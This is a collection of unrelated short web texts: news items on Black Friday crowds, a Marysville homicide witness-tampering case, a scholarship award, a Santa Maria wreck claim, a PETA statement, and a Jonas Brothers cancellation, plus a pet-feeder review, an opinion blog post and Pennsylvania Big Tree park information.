This year, most large retailers started early on Thursday night including Ontario Mills Mall, which opened two hours before its traditional midnight opening. Like many other retailers, the extended hours marked the earliest the mills had ever opened for Black Friday.
As shoppers waited in line for the deals, some admitted the increasingly earlier openings were taking away from Thanksgiving.
Lisa Mason of Fontana says she feels bad for the employees who have to come in earlier and don't get to enjoy their turkey feast.
"It keeps getting earlier," Mason says. "It's not even Black Friday anymore, it should be "Grey Thursday'."
Some shoppers arrived at the mall as early as 6 p.m. in order to to get a good spot in line, including the Mason and her daughter.
The holiday season's shopping kickoff traditionally begins the Friday after Thanksgiving - called Black Friday because it's when stores go in the black, or start making an annual profit. This year, Wal-Mart began selling some deeply discounted items at 8 p.m., as did Sears and Toys "R" Us. Target started at 9 p.m., while Best Buy, Kohl's and Macy's had midnight openings.
"A lot of it is shopper demand and retailer demand. Shoppers want to their deals earlier," said Masa Liles, spokeswoman for the Mills.
An indication of that could be seen Thursday night where lines for the entrances were said to be at least half a mile long. Almost all the stores at the mall also opened at 10 p.m., only a handful were opening later in the morning.
More than a decade ago, major retailers used to open their doors around 6 a.m. on Black Friday , but over the past five years they started to move that up to as early as 3 a.m.
But Lawrence Martinez of Ontario, who was partaking in his first Black Friday, said he favors the earlier times.
"I'd rather do it at 10 than at midnight because I'd be sleeping at the time," he said.
Officials at Ontario Mills Mall took a new approach on the safety measures for Black Friday. This year, customers were only allowed to enter through one of the six main entrances at the mall.
In 2010, overwhelming crowds seeking bargains at Mills forced officials to momentarily shut down all entrances at the height of pre-dawn shopping hours. The move was an effort to help alleviate the influx of shoppers.
Despite the best efforts by mall management, Martinez said there will continue to be issues. He said people were still pushing and shoving by the entrance near the food court.
"This is my first time and it's crazy," he said. "It's too much pushing and shoving and I won't do (this) again."
Liles said she expected the mall to be at capacity. As crowds continued to grow, several stores closed their theirs doors, only letting in a certain amount of customers at a time.

The team at Vurv Design continues to produce beautiful, handcrafted pet products that look absolutely fabulous in a modern home, and their new Series One raised feeders are no exception. These individual raised feeders are designed to be used alone or as a set. Each size is available in two different heights, allowing you to place kibble in the lower dish and water in the taller dish to keep the kibble from getting in the water. This idea actually came from the comments that Moderncat readers left on the post about Vurv's Maow Deluxe feeder. Vurv really listened to your feedback!
I'm using the Series One feeder that Vurv sent me to review for water, while I use all three bowls in the Maow Deluxe for kibble and it's working out quite well. This is a medium, 4″ tall in walnut.
The Series One feeder comes in four sizes (small, medium, large, and extra large) and each size is available in two heights. Each feeder comes with a removable stainless steel bowl for easy cleaning, and the wood veneer is coated with a polyurethane finish that makes it very easy to remove water spots.
You can choose from six different real wood veneers: bamboo, maple, douglas fir, cherry, walnut, or wenge. Prices range from $98 to $198.
One lucky reader is going to receive a pair of Series One feeders! The winner will get to choose two feeders, either small or medium, in any combination of sizes, heights, and veneers. This will make a great holiday gift for someone! To enter, please leave a comment on this post. The winner will be chosen in a random drawing on November 21. One entry per person. This giveaway includes free shipping to addresses in the US and Canada.
Special Offer
Anyone who purchases a Series One feeder from Vurv Design will receive an extra stainless steel bowl with each feeder for free. Just mention Moderncat when you place your order.

text: Over 500 years has passed since Christopher Columbus abandoned his flagship, Santa Maria and left 39 unlucky crew members on the shore of Haiti to fend for themselves while Columbus made his way back to Spain on the Nina. The Pinta was in a different location at the time and there was no more room on the Nina for those 39. When Columbus returned to the spot the following year, all he found was a burned settlement and no survivors. Now, a man named Barry Clifford believes he has found the Santa Maria off the coast of Haiti. He was able to find it after discovering the burned settlement of Columbus' left behind party. Clifford says that he actually photographed the wreckage a decade ago but didn't put the pieces together until recently. He has a History Channel crew with him filming the recovery process.

By Eric Stevick Herald Writer
EVERETT — A man who allegedly gave a homicide suspect a ride on the evening of a fatal stabbing in Marysville has been booked into the Snohomish County Jail for investigation of intimidating and tampering with a witness.
A judge Tuesday set bail at $250,000 for the Tulalip man, 35.
Court records allege he gave a ride to Delaney Wood, 28, the same day Arthur Schroeder was killed in his travel trailer at the Brookside Mobile RV Park in the 9800 block of State Avenue.
Wood, who was a neighbor of the victim, and Robert Ruben Kennedy, 26, were booked into the Snohomish County Jail for investigation of first-degree murder, robbery and motor vehicle theft.
Schroeder, 82, was found Jan. 25 inside his ransacked trailer.
Marysville police arrested the Tulalip man for investigation of witness tampering late Monday night.
Detectives believe the man gave Wood a ride from Everett to Marysville late on the night of the stabbing. Cellphone records show that Wood contacted the man twice that evening.
That night he and Wood allegedly stopped by one of his friend's homes to use her phone. The woman told police she saw Wood in his car and that she was unresponsive with a "freaked-out look like a look of guilt," court papers said.
The man allegedly told his friend that Wood had "spilled her guts" about the homicide, according to court documents.
The woman said the next day he called her to tell her to be quiet about the homicide. He allegedly told her, "Don't say anything. People are going to disappear. You might be the next."
He also allegedly told her police would be asking questions and warned: "Keep your mouth shut if you know what is good for you or you're going to get hurt."
After the stabbing, Wood allegedly bragged about killing a sex offender. Kennedy allegedly told a friend that "things went bad" and he was sorry for what happened, according to one of several search warrants in the case. Kennedy reportedly said he and Wood went to Schroeder's home to get money, but the elderly man didn't want to give them any.
As it turned out, the pair said they only got $200 from the robbery and they split it, according to an acquaintance who spoke with police.
Schroeder's pickup also was missing from his driveway. It was found ablaze on vacant land north of Arlington, hours after the body was discovered.

Junior from Rock Hill wins Udall Scholarship
Lesley Joseph, a University of South Carolina junior majoring in civil and environmental engineering with a minor in environmental studies, has been awarded a 2010 Morris K. Udall Scholarship.
The award recognizes and encourages students who have demonstrated outstanding potential and a commitment to pursuing careers related to the environment.
Joseph is a graduate of Northwestern High School and is the son of Phebe and Samuel Joseph of Rock Hill. He received the Environmental Stewardship Award and the Bruce C. Coull Outstanding Senior in Environmental Studies Award and was named the Outstanding Senior in the Department of Civil and Environmental Engineering.
Joseph is the coordinator and manager of the Environmental Justice/Community Action project in the Green Quad Learning Center and is the president of a newly formed student chapter of Engineers without Borders. He is active in the SC Alliance for Sustainable Campuses, Students Advocating for a Greener Environment, the Green Quad Learning Community, American Society of Civil Engineers and National Society of Black Engineers.
He has conducted research in water treatment with Dr. Yeomin Yoon in the environmental engineering laboratories; environmental justice and climate change vulnerability research under Dr. Sacoby Wilson (Udall Scholar 1998) in the Institute for Families in Society; and also with the Gills Creek Watershed Research Initiative. He is also a Magellan scholar and participated in the residential mini-grant program in the Office of Undergraduate Research.
"Winning the Udall Scholarship is a great honor for me," Joseph said. "This is the first national scholarship that I've ever won, so everything is still new to me. I had great support from the Office of Fellowships and Scholar Programs, the Udall Scholarship committee and the Environmental Engineering faculty at USC. I could not have been successful without their continued support. I just hope to continue doing the type of work and research that will help improve our environment and the lives of many people in the U.S. and abroad who are increasingly vulnerable to changes in the environment. I think Congressman Udall would like that."
The Morris K. Udall and Stewart L. Udall Foundation funded 80 awards from 63 colleges and universities. The Udall scholars were selected on the basis of academic merit and were nominated by colleges and universities nationwide. The one-year scholarship will cover the cost of tuition, fees, books and room and board up to a maximum of $5,000 per year. Students are nominated and assisted by the campus Udall Scholarship Committee chaired by Josh Eagle of the USC School of Law. The students were further assisted by the USC Office of Fellowships and Scholar Programs, www.sc.edu/ofsp.

As if we needed another demonstration of the xenophobia and misology of the American right, here's a story of students in Ft. Collins, Colorado translating the Pledge of Allegiance into other languages and reciting it in those languages from time to time. Cue the outrage from the wingnuts when they got to it in Arabic.
"We do say the Pledge of Allegiance on Mondays at Rocky Mountain High School," principal Tom Lopez said.
Students have always said it in English. This year, a group with about 30 students approached Lopez with a request to translate and recite the pledge in other languages.
"They had to go through me for approval, and I reviewed it pretty carefully," Lopez said.
First, the students translated and read French. Then they recited the pledge in Spanish last fall. Monday, students read the pledge in Arabic.
"We have a tremendous amount of diversity in our school," Lopez said. "This is very American, not un-American."
I don't think anyone should say the pledge at any time, in any language, but at least this way they're learning something and perhaps managing to overcome that provincialism and xenophobia that America is so well known for. But the hyper-nationalist, we ain't had no need for book learnin' crowd was bound to lose their minds over it. They're worried that if their kids learn a phrase in French or Arabic they're going to become suicide bombers who surrender before they set off the bomb. Or something.
Reminds me of the old story, possibly apocryphal, about the Texas legislator who said, "If English is good enough for our lord and savior Jesus Christ, it's good enough for me."

Sightseeing in the East
A State Park Natural Area is an area within a state park of unique scenic, geologic or ecological value.
A State Park Natural Area is an area within a state park of unique scenic, geologic or ecological value.
These are the scenic wonders and places of interest on the eastern side of Pennsylvania.
* indicates non-native species
Pennsylvania's State Parks house many green giants, some of which are found here in the Big Tree listing. The Big Tree program is a record of the largest trees found in Pennsylvania's State Parks. Each species is recognized, allowing for a wide variety of big tree champions, from the 125-foot tall Red Oak at Cook Forest State Park to the 15-foot tall Witchhazel at Clear Creek State Park.
The process begins with a nomination by a park visitor or employee. This nomination can be based upon visual inspection of the tree and some simple measurements. Once a tree is nominated for the Big Tree program, the score must be determined by a forester.
There are three criteria for determining the score of a tree. Circumference is a measurement taken in inches at 4.5 feet above the base of the tree (circumference at breast height). One point is given for each inch of circumference. The second measurement is height, and is the distance in a straight line from the ground to the highest point of the tree. One point is awarded for every foot of height. The final criterion, average crown spread, requires two measurements. The first measurement is taken at the widest point of crown spread, the second from the narrowest point. The two values are added and divided by two to give the average crown spread. One point is awarded for every four feet of average crown spread. The points awarded for the three criteria are then added to produce a final score, which is used to determine a tree's rank among other Pennsylvania State Park Big Trees.
When visiting a Pennsylvania State Park, keep an eye out for these giants. There are undoubtedly big trees that have yet to be found in Pennsylvania's State Parks. If you see a tree that might be eligible for the Big Tree program, write down the location and give it to the park manager to begin the nomination process.
The best way to see wildlife is to sit quietly and remain still. For the best results, use binoculars and keep a safe distance between yourself and wildlife.
Please do not attempt to handle any wild animal. If an animal does not run away from approaching people, it might be sick or injured. If you observe any unusual behavior by wildlife, please contact a park employee immediately.

PETA Blasts Sea World Over Whale Death
People for the Ethical Treatment of Animals, PETA, is wasting no time blasting Sea World of Texas over the death of four year old Bella, a Beluga whale that was found dead in its tank on Sunday, 1200 WOAI news reports.
"Yet again, a beluga at Sea World has died decades earlier than her special' natural life expectance of 35 to 50 years in the wild," said David Perle, PETA's spokesman.
Sea World of Texas says Belle died following an illness, and a necropsy and other work will be done to determine the exact cause of death.
Sea World says it's other belugas are in good health.
But PETA says more than a dozen belugas have died prematurely at Sea world San Antonio since 1993.
"Sea World sentences intelligent, sensitive marine mammals to a life of deprivation and isolation in tiny concrete tanks, and this constant stress takes its toll on the animals," Perle said.
He says PETA will continue to fight Sea World's attempt to import and breed more beluga whales.

Fans react to Jonas Brothers tour cancellation
Listen to Jonas Brothers on iHeartRadio
Fans of the Jonas Brothers are taking to Twitter to voice their shock about the group's now-canceled tour.
On Thursday, ticket buyers started receiving their email refunds for the 19 dates that was scheduled to kick off on Friday. Many fans seem to be taking the news hard, as the brothers' rep stated that there had been a "deep rift" between them over creative differences.
Some fans were calling the news "a nightmare," and tweeting that they were "heartbroken." One fan who had plans to attend a meet-and-greet during the tour said she was "balling [her] eyes out."
Apart from the initial statement about the cancellation, the brothers have yet to speak to fans or address their internal conflicts. The fate of their album, which has been in the works since early last year, is unclear.
Sources tell "TMZ" that each brother has a different vision for their music, and feel it's best to settle their differences before releasing anything.
